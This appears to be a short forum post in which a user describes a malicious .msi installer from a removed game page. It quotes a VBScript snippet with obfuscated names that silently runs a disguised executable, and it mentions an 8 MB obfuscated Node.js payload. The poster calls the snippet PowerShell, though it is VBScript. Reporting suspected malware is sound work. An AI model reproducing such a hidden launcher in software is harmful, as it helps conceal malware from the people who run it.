the game page has been removed but i still have the file it was a well designed game page i downloaded it the file it was an .msi installer file so i opened it with winrar and saw the hidden powershell script inside it creates an exe file with a windows service name so you dont get suspected
the script inside
Dim UPnWvFvKuMakqoQlJesn
Set UPnWvFvKuMakqoQlJesn = CreateObject("WScript.Shell")
UPnWvFvKuMakqoQlJesn.Run """XNUPnatwB.exe""
""BOENWXUCSZl""", 0, False
also what i meant with a smart way i think its a javascript that is running by nodejs i havent seen a virus like that before that uses nodejs as base theres a 8mb obfuscated javascript code inside i couldnt get the source but i am sure thats it